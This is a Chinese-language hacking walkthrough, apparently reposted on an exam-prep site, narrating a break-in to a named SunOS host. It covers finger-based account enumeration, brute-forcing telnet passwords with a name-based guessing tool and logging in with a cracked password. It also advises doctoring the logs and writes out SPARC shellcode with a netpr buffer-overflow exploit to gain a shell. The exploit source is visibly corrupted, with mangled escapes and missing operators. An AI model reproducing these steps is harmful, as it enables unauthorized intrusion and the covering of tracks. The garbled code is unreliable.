研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场!
bash$ finger @202.202.0.8
[202.202.0.8 ]
LoginNameTTYIdleWhenWhere
daemon??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
walterWalter Wan pts/0202.202.0.114
dennisDennis Lee437 888wnet.net
power Power Xiong0202.202.0.10
dealH Wang pts/2202.202.0.11
admin ???< . . . . >
jessicaJessica Xiaopts/0202.202.0.9
smithSmith Liu pts/0202.202.0.13
render Renderpts/0202.103.10.117
ftp ???< . . . . >
好!我需要的Name出来了,赶快保存:
bash$ finger @202.202.0.8 》 /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst
[202.202.0.8 ]
LoginNameTTYIdleWhenWhere
daemon ???< . . . . >
bin???< . . . . >
sys???< . . . . >
walterWalter Wanpts/0 202.202.0.114
dennisDennis Lee 437888wnet.net
powerPower Xiong0 202.202.0.10
dealH Wang pts/2202.202.0.11
admin???pts/0< . . . . >
jessicaJessica Xiao pts/0202.202.0.9
smith Smith Liu pts/0202.202.0.13
renderRender Chen0202.103.10.117
ftp???< . . . . >
由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序--got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志"加工"一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。
bash$ got! -n wan 202.202.0.8 walter
Attempting…
N分钟以后……
Failed!
bash$
见鬼!失败了一个,再试下一个:
bash$ got! -n lee 202.202.0.8 dennis
Attempting…
Failed!
bash$
再次失败,已经浪费了不少时间了!:-("失败是成功之母",不要灰心,接着来:
bash$ got! -n xiong 202.202.0.8 Power
Attempting…
Bingo!!!
The password of user 'power' is 'xiong99'! Good luck!
bash$
哈哈,得手了!终于搞到一个账户了--用户名:power;密码:xiong99.赶快用telnet吧!
bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from
202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.
进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:
$ w
13:07pm up 61 day(s), 3 users, ……
User tty login@ idle JCPU PCPU what
root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w
乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:
$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
在看看这个用户的环境设置:
$ set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=China
再看看有没有gcc,没有这玩艺,那就……@#$%^&*!
$ gcc
gcc: No input files.
不错,编译器还"健在",没被删掉。现在,我们就开始溢出吧!^_^
$ cd
$ pwd
$ /export/home/power
$ mkdir …
$ cd …
$ vi ./.of.c
file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"/x20/xbf/xff/xff" /* bn,a */
"/x20/xbf/xff/xff" /* bn,a */
"/x7f/xff/xff/xff" /* call */
"/x90/x03/xe0/x20" /* add %o7,32,%o0 */
"/x92/x02/x20/x10" /* add %o0,16,%o1 */
"/xc0/x22/x20/x08" /* st %g0,[%o0 8] */
"/xd0/x22/x20/x10" /* st %o0,[%o0 16] */
"/xc0/x22/x20/x14" /* st %g0,[%o0 20] */
"/x82/x10/x20/x0b" /* mov 0xb,%g1 */
"/x91/xd0/x20/x08" /* ta 8 */
"/bin/ksh";
char jump[]=
"/x81/xc3/xe0/x08" /* jmp %o7 8 */
"/x90/x10/x00/x0e"; /* mov %sp,%o0 */
static char nop[]="/x80/x1c/x40/x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net//n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc/n/n");
if(argc==1)
{
printf("usage: %s lpserver/n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b =4;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
b=&buffer[5000];
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
考试大温馨提示:本内容来源于网络,仅代表作者个人观点,与本站立场无关,仅供您学习交流使用。其中可能有部分文章经过多次转载而造成文章内容缺失、错误或文章作者不详等问题,请您谅解。如有侵犯您的权利,请联系我们,本站会立即予以处理。
编辑特别推荐:
linuxln命令详解
nginx关于服务静态文件的配置
使用expect实现ssh自动交互